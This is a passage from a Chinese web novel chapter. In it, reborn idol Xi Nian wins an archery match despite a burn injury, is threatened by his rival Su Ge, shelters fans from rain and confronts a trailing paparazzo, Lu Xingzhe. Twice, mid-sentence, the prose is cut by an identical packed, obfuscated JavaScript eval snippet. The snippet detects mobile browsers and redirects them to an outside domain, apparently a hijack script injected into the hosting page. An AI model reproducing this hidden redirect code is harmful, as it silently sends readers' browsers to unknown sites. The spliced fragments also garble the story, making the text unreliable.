陆星哲按下相机快门,又看向观赛区,见苏格在镜头切过时仍然面带微笑,甚至还跟着众人一起鼓掌,心想谁说苏格演技烂,这不装的挺好么。 陈思豪虽然从一开始就没指望能赢,但也不想输的太惨,席年的成绩无形之中带给他不少压力,在裁判的示意下,他上箭拉弦,结果只射中了一个六环。 “切——” 场下一片嘘声。 裁判示意席年准备。 没人知道席年刚才那一箭射的有多难,这次轮到他发箭的时候,计时器过了足足有五秒,他才聚起力气重新抬弓拉弦,眯着眼开始瞄准靶位。 这次他右手抖的比上一次更加厉害,弓弦仅拉满了四分之三,就再难用出半分力气。 终于有观众发现了不对劲,低着头开始窃窃私语。 “席年是不是不舒服啊,我看他后背衣服都汗湿了。” “何止,刚才镜头切特写的时候,他头上青筋都出来了。” “我觉得也是,箭头一直在抖,该不会是受伤了吧。” 苏格的粉丝听见,嘀嘀咕咕颇有微词:“赢不了就赢不了,找什么理由,他八成看苏格受伤上了热搜,也想跟着搏同情,摆明蹭热度。” 李曦曦也站在人堆里,她听见身旁的姐妹议论纷纷,有些犹豫的出声道:“万一……席年真的受伤了呢,我看他成绩挺好的,没必要找理由……” 同伴拉了一下她:“哎呀,就算席年真的受伤了,那他拉踩苏格总是事实吧,你就别替他说话了。” 上一场赛事结束的时候,有不少营销号都在发帖搏流量,把席年吹的天花乱坠,把苏格贬得要多难听有多难听,不少格子粉都被带了节奏,误以为是席年想红故意买的水军,因此对他抱有很大的敌意。 李曦曦一开始也这么认为,但她莫名觉得席年不像那种人:“可是……” 同伴催促道:“哎呀别可是了,看比赛吧。” 席年是人,不是神,无论多能忍,超出了身体极限也有无能为力的时候,箭头轻微的晃动令他根本无法瞄准靶位,眼见着计时器已经过了二十秒,不少人都在暗自提心吊胆。 “啪嗒。” 一滴豆大的汗珠从席年脸庞滚落,然后悄无声息没入了脚下的绿茵草坪。 席年握弓的手紧了松,松了紧,却始终没放下,009号系统见状终于忍不住,扑棱着小翅膀飞到了他面前:【叮~亲爱的宿主,比赛还有很多次,不要在意这一时的得失。】 二十三秒、 二十四秒。 席年的视线因为汗水而虚无了一瞬,他没有回答系统,只是忍着疼痛,咬牙缓缓拉开了弓弦,目光带着这个年纪本不该有的狠意。 “嗖!” 这支等待了许久的箭终于射了出去,伴随着轻微的破空声,不远处靶位上的黄色内圈多了一道箭痕,离上一枝箭的距离误差不过几毫米。 依旧是十环。 “漂亮!”有观众忍不住鼓掌喝彩。 裁判觉得席年状态不是很好,走过来低声询问他是否需要看医生,却被他摇头拒绝。 陆星哲指尖在相机上飞速轻点,只觉得他就是死逞强,再加上身边追星的几个女生叽叽喳喳,干脆转身一瘸一拐走向了c区,恰好是席年那零星几个粉丝站的位置。 苏格一直静坐在观赛位,他的经纪人在旁眉头紧皱,压低声音道:“席年这局如果赢了,公众那边我们就不好交待了。” 苏格闻言调整了一下坐姿,不屑冷笑:“他未必能撑到后面。” 经纪人问:“什么意思?” 事业上升期的偶像艺人无论有什么举动,都必须要经过公司同意,苏格那天烫了席年纯粹是一时冲动,事后他就后悔了,也没敢和经纪人说,是以只能含糊摇头:“没什么。” 陈思豪现在处于一种破罐子破摔的状态,他看了眼席年,然后心灰意冷的拉弓射箭,只听嗖的一声闷响,竟然误打误撞正中九号圈位。 广播声响起:“十五号陈思豪,第一组第二箭九环。” 解说员见缝插针的开始调动观众情绪:“看来十五号选手的手感已经上来了,不知道后期能不能追上席年,看来二人之间必将会有一场精彩的角逐……” 屋漏偏逢连夜雨,大概就是席年现在的状态,当他尝试着抬起右手想再次拉弓的时候,手臂却已经不听使唤了,半边肩膀都处于僵麻状态,是以迟迟未动。 几个粉丝见状面露担忧,焦急的跺了跺脚:“怎么办,他肯定是身体哪里不舒服。” 周边闲言碎语四起:“看样子九号输定了。” 裁判经验老道,一看席年的样子心中就猜到大概原因,他走上前道:“怎么样,还能不能继续坚持,如果身体不适一定要说出来。” 席年后背全是冷汗,风一吹簌簌的冷,他缓慢平复着呼吸,却怎么都说不出退赛两个字,对裁判微微点头:“可以继续。” 计时器开始计时,009号系统扑扇着翅膀,见席年面色苍白的重新上箭拉弦,有些苦恼的转了个圈,最后破罐子破摔的飞到了他手腕边:【算啦,你是九号,我也是九号,看在大家都是九号的份上,我就破例帮你一次叭。】 它说着,胖乎乎的身躯从底下托住了席年的手臂,触感冰冰凉凉,一阵蓝光闪过后,原本的疼痛竟然奇迹般消散了。 席年见状瞳孔微缩,内心诧异,却因为时间所剩无多顾不上询问什么,连忙重新拉弦瞄靶,竭力定下心神寻找环位。 时间所剩不多,箭头焦点一个个略过外圈,定格在黄色的十环位上,席年指尖微松,最后终于卡在第28秒的时候射出了那支箭。 众人只见眼前一道箭影闪过,带着破竹之势,没入靶位的时候发出一声闷响,力道明显比前两次要强上许多。 男解说员算是席年的半个路人粉,一直在关注着他的动态,见状定睛一看,激动的差点拍桌子:“漂亮!九号选手又射中了一个十环!又射中了一个十环!” 系统闻言得意的晃了晃身体,小翅膀扇的更欢快了。 席年垂下眼眸,不着痕迹转了转手腕,却发现没有丝毫痛感,他静默一瞬,然后看向身旁那颗胖乎乎的蓝色光球:“……你做了什么?” 系统得意忘形,此时甩掉了那堪比x宝客服般的标准客套用语,语气傲娇的道:【叮!疼痛消除,只此一次,下不为例哦。】 席年心中猜到是系统帮的忙,只是他习惯了和对方针锋相对,闻言沉默半天,到底什么都没说。 没人比苏格更清楚席年的受伤情况,所以他一直在等对方撑不住的时候,然而随着时间的推移,席年不仅没有出现他预想中的脱靶情况,反而越来越稳—— 十环、 十环、 除了十环还是十环! 当席年最后一支箭射向正中央的靶心时,苏格脸上已经毫无血色,连在镜头前牵动嘴角做出一个假笑都艰难。 体育赛事本来就容易鼓舞人心,当主持人宣布席年晋级成功的时候,满场的喝彩几欲掀翻看台,震得人耳朵发麻:“席年好样的!!!加油!!加油!!” 此时他真正应了那句话,果然是半路杀出的黑马,明明排位赛的表现平平无奇,甚至可以说是糟糕,却在后面几场大放异彩,实在出人意料。 “他也太厉害了吧,从来没见过十环率这么高的。” “网上还有人说他是花瓶,看来传言不可信。” “但是听说席年好像很傲慢。” “这有什么,实力嘛,我有他这个水平我也傲。” 今天的太阳并不刺目,空气却带着微微的躁意,夹杂着草坪泥土的气息,席年转过头,第一眼目光就看向了观众席。 他的粉丝聚集在那一处,正欢欣雀跃的鼓掌拥抱,只是一堆女生里却突兀的多出了一名男子的存在,黑色t恤,黑色棒球帽,手拿相机,背单肩挎包。 这几个简单的形容词可以轻易拼凑出三个字。 陆星哲。 席年收回了视线,他接过工作人员递来的水瓶,拧开喝了一口,然后转身走向后台。 为了增加曝光率,参赛选手一般都会选择坐在观赛区候场,很少有人会直接回到休息室,因为长时间的比赛,席年手上的护臂已经被汗水浸湿,和伤口黏在了一起,他从储物柜里拿出药盒和棉签,找了个位置坐下,皱眉把护臂一点点褪了下来。 被烫伤的地方已经鲜红一片,因为用力撕扯,结痂的地方又开始往外渗出组织液和血,但不知是不是系统的缘故,诡异的没有任何痛感。 席年处理伤口的方式相当简单粗暴,他用牙咬开药包,把药粉三两下倒上去,正准备找纱布把伤口缠起来,休息室的门忽然咔嚓一声被人拧开了。 席年抬眼看去,却见来人是苏格。 “怎么这么可怜,一个人躲在这里偷偷上药?”苏格站在门口,瞥了眼席年的手背,然后又嫌恶的皱了皱眉,不知是讥是讽的冷笑道:“手都伤成这样还能连中十环,我是该夸你实力好,还是夸你太能忍?” 苏格只觉得席年上次被他烫了也不敢吭声,是个胆小怕事的窝囊废,但如果他知道时间倒流前席年差点给他来个开水烫头,借他十个八个胆子也不敢上门挑衅。 席年没说话,三两下缠好纱布,然后从椅子上站起身往四周看了看,想找个打人比较趁手的武器,非得把这龟孙子打出屎来不可。 系统察觉到他的想法,叮一声像炮弹似的弹了出来:【亲爱的宿主,我们要冷静,暴力是解决不了问题的】 席年不想解决问题,他只想解决苏格,但系统一出声他就想起上次被定住身形的事,像是被陡然浇了盆凉水,脑子忽然冷静了下来。 苏格见他不出声,咣的踢了一下椅子,底端摩擦地面发出一阵刺耳的声响,压低声音威胁道:“别以为赢了就了不起,上次是烫手,下次就不知道是什么了,我倒想看看你还能撑到什么时候。” 系统闻言也忍不住了,呼啦一下飞到苏格脑后,透明的身躯照着他脑袋踢了两脚:【真讨厌!真讨厌!】 怎么会有这么讨厌的人类! 上次就想踹他了! 席年难得没有和系统反着来,休息室是待不下去了,他把药箱扔进储物柜,准备离开,经过苏格身边时,单手插兜,似笑非笑的说了一句话:“你当初整脸的时候,真应该让医生把你的脑子也给整整。” 苏格闻言愣了一秒,这才反应过来席年在骂他,顿时火冒三丈:“你——!” 席年不理,径直离开了,在他看不见的地方,走廊拐角处有一抹人影闪过。 陆星哲也没想到自己一时好奇跟进后台会偷听到这么劲爆的消息,他眼见席年的背影消失在跟前,又神情微妙的看了眼休息室的大门,把手中的相机塞进背包,然后一瘸一拐的离开了后台。 观赛区前面几排基本上没什么空位,席年不喜欢和不相熟的人坐在一起,直接三步并作两步,越过前排坐到了最后面,此时天气阴阴沉沉看起来像要下雨,以防万一,别家助理都在给艺人分发雨衣,孙铭却跑得连人影都看不见了。 席年昨晚没睡好,他扣上帽子,坐在位置上想打个盹,然而还没等睡着,身后就有人在叫他的名字:“席年,席年!” “这里这里!” 席年抬起帽檐,坐直身体回头,却见是几个粉丝隔着护栏在和他招手,手里还有笔和照片,有些紧张的小声请求道:“席年,我们都是你的粉丝,可以签个名吗?” 席年上辈子所有精力都放在拍戏和勾心斗角上面去了,账号一直由经纪人打理,倒真没怎么和粉丝相处过,他闻言顿了顿,然后从位置上起身,走到了分隔的护栏跟前。 那几个粉丝见他愿意过来,更是兴奋得脸都红了,纷纷把签字笔往前递,席年接过照片,都一个个签上了名字。 有个女粉没带照片,急的头上直冒汗,最后发现自己穿的白衣服,眼睛一亮,指着衣服道:“席年,可以签在衣服上吗?” 她穿的是短款露脐装,且身材性感,多少会有些尴尬,席年无处下笔,最后示意她侧过身,然后在左袖口边缘签下了自己的名字。 这次用的是花体,看起来不像签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891937|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,倒像装饰,与白色的衣服相得益彰。 女粉察觉到他绅士的举动,这才反应过来什么,暗自吐了吐舌头,从脚边的背囊里拿出一个袋子,有些不好意思的递给他道:“我们刚才听俞凡的经纪人说艺人下午要录宣传片,可能要等很久,这是一些小零食和饮料,你坐着无聊可以吃。” 为了艺人的安全考虑,这些东西一般都是经纪人代收的,席年顿了顿,伸手接过零食袋,第一次在这种情况下和粉丝距离说话:“谢谢……” 粉丝幸福的快要冒泡了:“不要紧不要紧,你一定要照顾好自己呀,我们会一直支持你的!” 席年点头,然后转身回到了座位上,除了零食之外,手中还多了一杯临时投喂的珍珠奶茶,他也不浪费,直接插吸管开喝。 陆星哲腿有伤,姗姗来迟的回到了观众席,然而还没等说话,一旁的几个粉丝就捶胸顿足的问他:“你刚才干什么去了?” 陆星哲挑眉:“上厕所,怎么了?” 粉丝一副“你错亿”的表情:“刚才席年过来了,还给我们每个人都签了名,你不在简直太可惜了嘤嘤嘤!” 陆星哲闻言下意识看向观赛区,这才发现席年不知什么时候坐了过来,离他们就隔着几米远的距离,意味不明的摸了摸下巴:“唔,那确实挺可惜的。” 下午还有好几场比赛,然而进行到一半的时候,上空忽然掉了些冰凉的雨滴下来,有人摸了摸头,惊叫道:“哎呀!下雨了!” “真的下雨了哎!” “搞什么嘛,说好了今天晴天的,我都没有带伞。” “工作人员说是小雨,可能下十几分钟就会停的。” 体育馆是半露天形式,雨丝斜斜落下,直接飘进了观众席,艺人都已经由助理提前分发好了雨衣,再加上观赛区有顶棚,问题不算大。席年坐在边缘位,雨丝飘进来正好落在身上,他却无动于衷,继续闭目养神。 陆星哲站了一上午,腿都僵了,他半边身体靠着护栏,以此减轻腿部压力,结果发现席年没有助理送雨衣,在后面看了半晌,然后从背包里翻出一次性雨衣,倾身扔给了他。 哗啦一声轻响,男子的怀里落入了某样东西。 席年皱眉睁开眼,低头一看,却见是一件塑料雨衣,下意识回头,就见某个人正撑在护栏边倾身看他,眉眼得意上扬,笑的像狐狸。 陆星哲? 席年眼皮子跳了一下,反正在他的思维中,陆星哲现在应该是不认识自己的,大脑飞速运转几圈,也没想出对方用意何在,干脆放弃了。 席年避开镜头起身,走到护栏下方,伸手把雨衣递还给他,因为不想被认出来,刻意压低了声音:“你东西掉下来了。” 陆星哲没有接,得益于看台地势高,他可以居高临下的打量着席年,眼角藏着笑,纠正道:“不是掉下去的,是送给你的。” 斜斜的雨丝从天空落下,被风一吹顺着飘了过来,陆星哲有半边肩膀都被洇湿,在周遭错乱嘈杂的背景下,声音有些不甚清晰。 席年不觉得陆星哲会这么好心:“我们好像不认识。” 他直到现在也没打算暴露身份,毕竟被狗皮膏药粘上很麻烦。 陆星哲不动声色打量着席年俊挺的眉眼,愈发肯定他就是那天救自己的人,指尖在护栏上规律性敲击,半真半假的道:“我是你的粉丝,这样总行了吧。” 席年不信,他只觉得陆星哲不怀好意,也许这个乱涂乱写的狗仔把自己当作了下一期的写作题材,看了眼手中的雨衣,到底还是收下了:“谢谢。” 陆星哲闻言眼中笑意愈盛,他唇色天生殷红,微微勾起时,比女生还要惑人:“不客气,下次给我签个名就行了。” 席年装作没听见,坐回了位置。 没过多久,雨势渐大,连带着气温都降了下来,工作人员一直在安抚观众,说一会儿就会雨停,而粉丝难得来观看爱豆比赛,也都不愿意离开,纷纷想办法找黄牛买雨具,外面的流动小摊贩直接把一次性雨衣提到了六十块一件。 “真黑心!这种破塑料雨衣五块钱我都嫌多!” “我们赶紧买吧,一会儿都卖完了,我特意从外地过来看比赛的,现在走了多亏,淋感冒也不划算呀。” 为了避雨,一些人都在往顶棚下面躲,陆星哲腿疼懒得去买伞,再加上他有帽子,依旧靠在护栏边不挪窝。 席年回头看了一眼,见之前给他送零食的那几个女生都没伞,有个圆圆脸的漂亮女生连形象都顾不上,直接把塑料袋罩在了头上,让人不禁闷声发笑。 席年收回视线,不知想起什么,起身离开了观赛区,等他再回来时,手里拎着一个袋子,粉丝只见他三步并做两步跃上看台,然后把东西递了过来。 粉丝看见他又兴奋又高兴:“席年,你怎么来了,这里雨很大,你赶紧回去坐着吧……这是什么?” 席年拆开塑料袋,里面是几件他找工作人员要的雨衣和雨伞:“你们分一下,别淋湿了。” 粉丝闻言愣了几秒才反应过来他在说什么,受宠若惊的问道:“是给我们的吗?” 席年不是雷锋式人物,第一次做这种事心中尚有些怪异,迎着粉丝欣喜的目光,他微不可察的点了点头。 “真的吗?太好了!” “席年你真好嘤嘤嘤!” 几个女生幸福的恨不得原地去世,迎着别家粉丝艳羡的目光,心里美的直冒泡,这年头上哪儿找这么好的爱豆,格子粉站在那儿淋雨淋半天了,也没见苏格过来问两句。 陆星哲刚才正在拍赛场照片,听见动静回过头看了眼,却见席年在给粉丝送雨衣,习惯性捏了捏耳垂。 啧,没看出来,这个大冰山还挺有人情味的。 陆星哲今天穿的短袖,露在外面的胳膊冻得冰凉,他见镜头被雨水模糊,随意哈了口气,低头用衣服下摆擦拭着镜头,然而还没等抬起,肩上就覆了件带着体温的蓝白色外套。 陆星哲身形顿住,同时头顶响起一道熟悉的男声:“雨衣不够了,先用我的外套挡挡。” 席年脱掉外套,身上只剩一件短袖,他说完转身离去,回到了观赛区。 而陆星哲披着那件尚带余温的外套,慢半拍眨了眨眼,脸上神情出现了一次短暂的无措。 10. 礼物 工作人员到底还是错估了天气的恶劣,十几分钟过后,雨不仅没有停歇的趋势,反而越下越大,比赛迫不得已中止,只能另外再定时间。 苏格本就说不上好的心情愈发阴沉,他掸了掸肩上不慎溅到的雨水,皱眉对身旁撑伞的助理道:“准备一套干净衣服,等会儿回车上我要换。” 助理见他似要走,犹豫道:“可是伦哥要你和粉丝互动一下再走,不然今天的通稿没内容发。” 苏格看了他一眼:“互动?互什么动?现在雨下这么大,你不冷我都冷,淋病了你负责?” 一般活动散场,明星都会和粉丝进行场下互动,粉丝愿意等那么久也是因为这个,助理夹在中间两头不是人,磕磕绊绊的道:“但是,这是伦哥说的……” 伦哥是山行娱乐的金牌经纪,为人颇有手段,苏格就是他一手捧起来的。 苏格翅膀到底没硬到可以单飞,闻言不耐的嘀咕了一句麻烦,整理了一下袖口,到底还是在助理的陪同下走向了观众席。 粉丝看见他过来,一改疲惫,挥舞着应援棒兴奋的朝他招手,声音此起彼伏。 “苏格!苏格!” “苏格,我好喜欢你啊!” 李曦曦刚才整个人淋雨都淋蔫了,听见有人在喊苏格的名字,立刻打起精神挤到了前排,高举着手中的礼物盒往前递,红着脸兴奋道:“苏格苏格,这是送给你的!” 礼物盒一直被她保护在外套下,摸起来还是干燥的,助理见状想要上前去接,却被苏格自己接了过来,他对李曦曦笑着柔声道:“谢谢你的礼物,我会好好保存的。” “好……好的……” 对上他带笑的眼睛,李曦曦脑子轰的一片空白,整个人飘飘忽忽站都站不稳了,已经完全失去思考能力,连苏格什么时候走的都不知道,还是同伴推了她一下:“曦曦,花痴够了吧,瞧你这幅傻样,赶紧回家,我都快冷死了。” 李曦曦双手捧脸:“换成你是我,你也会花痴的。” “羞羞羞,我才没有。” “你就有!” “……” 因为下雨,录制宣传片的事也不得不暂时搁浅,节目组的工作人员忙得焦头烂额,正在后台和艺人挨个赔礼,对耽误了他们的时间感到抱歉,约好下次一起聚餐,这才匆匆收工。 席年没去,站在走廊抽烟,外间天色渐暗,与走廊明亮的灯光形成鲜明对比,他探头往窗户外看了眼,结果被滴了一脖子的冷雨,又站直了身体。 席年上辈子的烟瘾很重,临近事业上升期的时候压力大,基本上是烟不离手,他今天习惯性抽了一根,结果被呛得直皱眉。 系统察觉到他的情绪不太对劲,绕着席年飞了一圈:【你们地球人说,这种叫香烟的东西对身体有害。】 席年掸了掸烟灰,俊美的面容在烟雾中模糊不清:“你管的真多,世界上那么多作奸犯科的不见你去管,一定要像吊死鬼一样跟着我。” 系统身上的蓝光一闪一闪,电流声刺啦刺啦,像是在思考:【因为,等价交换。】 它对席年说:【要挣脱系统的管束很容易,只要宿主自愿放弃重生机会,星际执行官就会重新为系统匹配改造对象】 席年顿了顿:“然后呢?” 系统迷茫的道:【然后你就死了呀。】 死了呀…… 死了…… 死…… 席年闻言不自觉站直身体,有些慌乱的在垃圾桶上按灭了烟头,烟灰散开的一瞬像星火般漂亮,但随即又堙灭成灰。 是了,他上辈子已经死了。 席年从没有意识到他已经死了,第一次真切被旁人点出来这个事实,他抹了把脸,罕见的有些无措,转身走向休息室,不想再继续这个话题,偏偏系统极其没有眼力见的继续追问道:【亲爱的宿主,你要放弃重生机会吗?】 席年睨了它一眼:“能活着谁愿意死?” 去休息室的路上有一条长廊,席年从储物柜把私人物品拿出来时,就见苏格在几个助理的陪同下走了过来,几个人怀里塞的满满当当,全是粉丝送的礼物。 苏格手里拿着一个粉蓝色的盒子,他打开看了眼,见里面装着一玻璃瓶的吸管星星,皱眉说了句无聊,然后随手扔进了一旁的垃圾桶。 助理看了眼,见那星星折的很漂亮:“毕竟是粉丝送的,丢了是不是有点可惜……” 苏格兴致缺缺:“有什么可惜,街上一买一大把。” 席年在原处看着,挑了挑眉,见苏格一群人走进电梯,这才现身。 系统似乎十分钟情于亮闪闪的东西,扇着翅膀飞到了垃圾桶旁边,见玻璃瓶里面装着五颜六色的星星,不解道:【星星这么漂亮,他为什么不喜欢……】 席年正在等另一部电梯,闻言敷衍道:“因为不值钱。” 粉丝送的礼物那么多,又不可能全部留着,有些艺人表面上是收下了,谁知道背地里是丢了还是烧了。 系统不知道是不是因为生气,蓝色的身躯有些发红,像水烧开了一样:【那也不能扔进垃圾桶】 席年嗤笑一声:“这话你跟苏格说去,别跟我说。” 系统圆嘟嘟的身躯落在席年肩膀上,这次力道很轻:【不捡起来吗……】 流光溢彩的玻璃瓶静静躺在垃圾堆里,用不了多久就会变得黯淡无光支离破碎,人就是这样,得到的东西多了,就不稀罕了,当他们不稀罕的时候,就开始学会了抛弃。 “不捡。” 席年没什么同情心,双手抱臂,淡漠掀了掀眼皮:“第一,我不会从垃圾桶里捡东西,第二,捡起来也不是你的,第三,苏格粉丝送的礼物跟我没关系。” 系统恋恋不舍,轻轻碰了碰垃圾桶,空荡的走廊里发出一阵当啷响声,乍看还以为闹鬼了:【捡起来好不好,我帮你一次,你帮我一次】 这倒是实话。 而席年这辈子最不喜欢欠人情。 他闻言面无表情看了眼系统,又看了眼四周,沉默几秒,见没有人,然后骂骂咧咧的从背包里抽出一张纸巾走到了垃圾桶旁翻垃圾,结果半天都没翻到。 席年处于暴躁边缘:“瓶子呢?!” 系统想起自己刚才踹了垃圾桶,而玻璃瓶又沉甸甸的有些分量,语气飘忽:【可能掉到底下去了……】 席年简直想杀球,他深吸一口气,干脆直接把垃圾桶横了过来,用手机打着电筒照了半天,最后终于看见那个亮闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891938|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪的瓶子,用纸巾包着捏了出来,紧皱的眉头一直没松过。 妈的,这时候如果来个人看见,明天全娱乐圈都会以为他有翻垃圾桶的怪癖! 席年去旁边的洗手间洗了个手,至于那个玻璃瓶则被洗干净放在了长椅上,被谁捡走就不关他的事了,反正已经仁至义尽。 这么一耽误,天都快黑了,席年坐电梯下楼,然后驱车准备回家,坐上驾驶座的时候,对系统道:“人情还给你,下次少用这种事烦我。” 对与错,黑与白,盈余亏欠,地球人似乎总要划一道清晰的界限,但世界上有很多东西是分不清的。 系统:【那你欠过别人吗?】 它带着电流的机械音一响,车内忽然陷入了寂静,席年的车窗没关,外间树枝被风吹得颤颤落雨,寒意直接顺着蔓延了进来。 席年没说话,他不知想起什么,眼神有片刻幽远,然后脚踩油门飞速驶离了体育馆,一辆黑车静静停在角落,见状不紧不慢的跟了上去。 系统一句话就轻易打乱了席年的思维。 他欠过别人吗? 可能吧。 那欠了谁?一直被欺骗的粉丝?还是陆星哲? 但席年一直觉得他们两个是各取所需。 夜色如泼墨般兜头浇下,席年绕着周边开了一圈又一圈,肉眼可见的心神不宁,等回过神来,不经意从后视镜中扫过,却见一辆黑车一直跟在后面。 席年眯了眯眼,并不确定是不是巧合,左打方向盘直接驶入了一处僻静的街道,没过多久那辆黑车就紧跟了上来。 席年基本上已经确定对方是故意跟踪,直截了当的在路边停好车子,然后开门下车,大步走了过去。 陆星哲当狗仔这么久,少有被发现的时候,他眼见席年朝这边走来就知道情况不妙,连忙发动车子准备离开,谁曾想慢了一步,车门直接被人从外面拉开了。 席年俯身撑住车顶,待看见驾驶座里的人,并不意外:“下来。” 陆星哲舔了舔殷红的下唇,不以为意,他懒洋洋倒入椅背:“你让我下去我就下去?我们认识吗?” 全然不顾说这话时,他身上还穿着席年今天给他挡雨的外套。 席年习惯了他像泥鳅一样滑不溜手的性格:“为什么跟踪我?” 陆星哲干脆挪动伤腿下了车,他没戴帽子,五官暴露在空气中,漂亮得让人不敢直视,半扶着车门站稳身形:“这条路只有你能走吗?” 这幅模样真欠揍。 席年问:“那你来这里干什么?” 陆星哲随便编了个理由:“工作。” 席年闻言忽然缓慢笑开,反复咀嚼着这两个字:“工作?” 他视线掠过陆星哲纤细的身形,又在对方白净的锁骨处打了个转,然后伸手捏住陆星哲的下巴,迫使对方靠近自己,炽热的气息在耳畔弥漫开来,引起一阵痒意:“那你知不知道,这个时间,这个地点,只有站街的才会出来工作?” 席年从不吝啬自己的恶意。 陆星哲从小到大,狗/杂/种野孩子什么难听话没听过,闻言一点也不生气,笑意一点点在凤眼中晕开,吊儿郎当的道:“我是站街的,那你是干什么的,来嫖的?” 11. 签名 席年很少被谁牵动情绪,陆星哲这幅作态却每每都能让他感到恼怒,捏住对方下巴的力道逐渐加重,声音已经带了几分轻飘飘的冷意:“最后问你一遍,为什么要跟踪我?” 下巴被扼得生疼,陆星哲却连眼皮子都没动一下,他直视着席年的双眼,然后示意了一下手中的相机,勾唇道:“我只是一个小记者而已,如果你不怕明天八卦杂志乱涂乱写,说你有暴力倾向,我无所谓。” 狗仔天生就是克明星的,流言蜚语是真的能逼死人。 席年并不怀疑这话的真假性,上辈子那种被处处掣肘的感觉又一瞬间席卷了全身,令他脸色有些许沉凝。陆星哲不过逗逗他,却没想到席年这么开不起玩笑,睨着他血色寡淡的唇注视片刻,又改口道:“骗你的……” 他口袋里有一只黑色签字笔,在指尖灵活的转了一圈,然后用笔帽轻轻磕了磕车门,陆星哲笑眯眯的道:“我是你粉丝,追上来只是想要个签名。” 席年说:“我凭什么信你?” 指尖的力道却已经逐渐松缓,落了下来。 陆星哲随手拍了拍自己伤势未愈的腿,因为长时间站立,膝盖处缠着的纱布除了药水颜色,还隐隐凝着一抹暗红:“怎么说你都救过我,我没理由害你,你说是不是?” 对上陆星哲带着些许戏谑的眼睛,席年就知道自己的身份已经被他认出来了,心中并没有太多意外,因为有些事根本也瞒不了多久。 席年问他:“怎么发现的?” 陆星哲说:“这都发现不了,我趁早改行算了。” 说完见席年不动,陆星哲把笔往前递了递,压低声音笑问道:“签个名?” “……” 席年注视他片刻,然后接过笔,拔掉盖子,却发现陆星哲里面衣服是黑色的。 陆星哲低头看了眼,指了指身上蓝白色的外套,随口道:“那就……签这里吧。” 席年提醒他:“这是我的衣服。” 陆星哲反应过来:“是吗?” 席年把笔重新盖上,懒得和他多做纠缠:“衣服还我。” 陆星哲是个天大的“好”人,从来不贪小便宜,闻言大咧咧张开双臂,似笑非笑的看向席年,眼中多了一段说不明的风流韵味:“好,你来脱啊。” 席年没动,想不明白世界上怎么会有陆星哲这么爱耍流氓的人。 陆星哲懒洋洋靠着车门:“不脱?不脱我就走了?” 他说完转身想坐进车里,然而屁股还没挨到座位,就被席年一把拉了出来,只听车门被带上发出砰的一声闷响,陆星哲整个人就被反剪双手按在了上面。 他的脸紧贴着车窗,甚至能感受到上面冰凉的雨痕。 陆星哲费劲回头看向他,这种时候还笑的出来:“你该不会是恼羞成怒了吧?” 没人回答。 一件外套而已,席年不稀罕,他只是见不惯陆星哲那么得意。 男子不言语,精壮的身躯陡然从身后覆上,温度灼热,烫得陆星哲一缩,他正欲说些什么,一只陌生的手就顺着他腰身爬上了胸口,然后捏住了外套拉链—— “哗——” 一声拉链响,外套就褪了大半。 陆星哲按住那只手,似笑非笑:“原来要衣服啊,早说,我又不是不还你。” 外套松松垮垮披在身上,冷风顺着往里灌,须臾就带走了身上仅存的温度,陆星哲露在外面的皮肤苍白冰凉,像玉一样,唇却依旧殷红。 席年不得不承认,这个狗仔就算千不好万不好,起码有一点好处,床上睡起来很带劲。 也许今天发生的事情太多,令他总是控制不住的回想前世,席年终于不再刻意压低声音,嗓子低沉富有磁性:“不用,我自己拿。” 陆星哲耳朵有些痒,被他声音撩得头皮发麻,攥住拉链的手却没松开,意有所指:“是吗?我怎么觉得你故意占我便宜?” 他话音刚落,衣服下摆就被人掀起,露出一段纤细的腰身,冷风顺着往里灌,冻得他浑身一抖,陆星哲意识到席年做了什么之后,诧异回头:“喂……你……” 席年掌心紧贴他腰身处敏感的皮肤,力道不算轻柔,甚至可以说得上凶狠,然后满意看见陆星哲嬉笑的表情有了些许变化。 “陆星哲,”席年提醒他,“你身上没什么便宜可占。” 这种人从不吃亏。 一如上辈子,他剐了陆星哲一道伤,对方就一定要像鬃狗一样从他身上狠狠咬块肉下来,这已经不是两败俱伤了,这叫玉石俱焚。 陆星哲没明白他在说什么,笑嘻嘻道:“说不定你就好那口呢,想占我便宜。” 席年手里捏着那只签字笔,他一只手钳制住陆星哲,另一只手则在对方腰后起笔顿画,笔尖丝丝凉凉,然后缓慢勾勒出了一个名字。 席、年。 席、年…… 席年落下最后一笔,松开了陆星哲,他后退一步,力道抽去,然后见那人衣衫凌乱的跌倒在地,左半边脸因为刚才紧贴着车窗,有些微微发红。 陆星哲懵了一秒才反应过来席年做了什么,他向腰后摸去,指尖还带着星点未干的墨水印,耳根子腾的一下就红了:“喂……你……你……” 他想说,你怎么能把名字签在我身上,但舌头偏偏像是打了结,半天都说不出来一句完整话。 席年见他失态,心中满意,于是连外套也成了可有可无的存在,他静静端详着陆星哲,又说出了那天在医院说过的话:“身材不错。” 陆星哲闭了闭眼,打死都想不到他会有被人反调戏的一天,他脸烧得像是着了火,用手撑着从地上起身,然后拉开车门坐进了驾驶座。 席年透过半开的车窗,挑眉问道:“我的衣服?” 陆星哲握着方向盘,总算冷静了几分,他偏头看向席年,耳根还带着未褪去的残红,额前碎发遮住了眼底神情:“刚才让你脱你不脱,现在晚了,等我心情好的时候再还你。” 说这话时,腰后仍停留着某种异样的感觉。 席年说:“随你。” 他说完回到 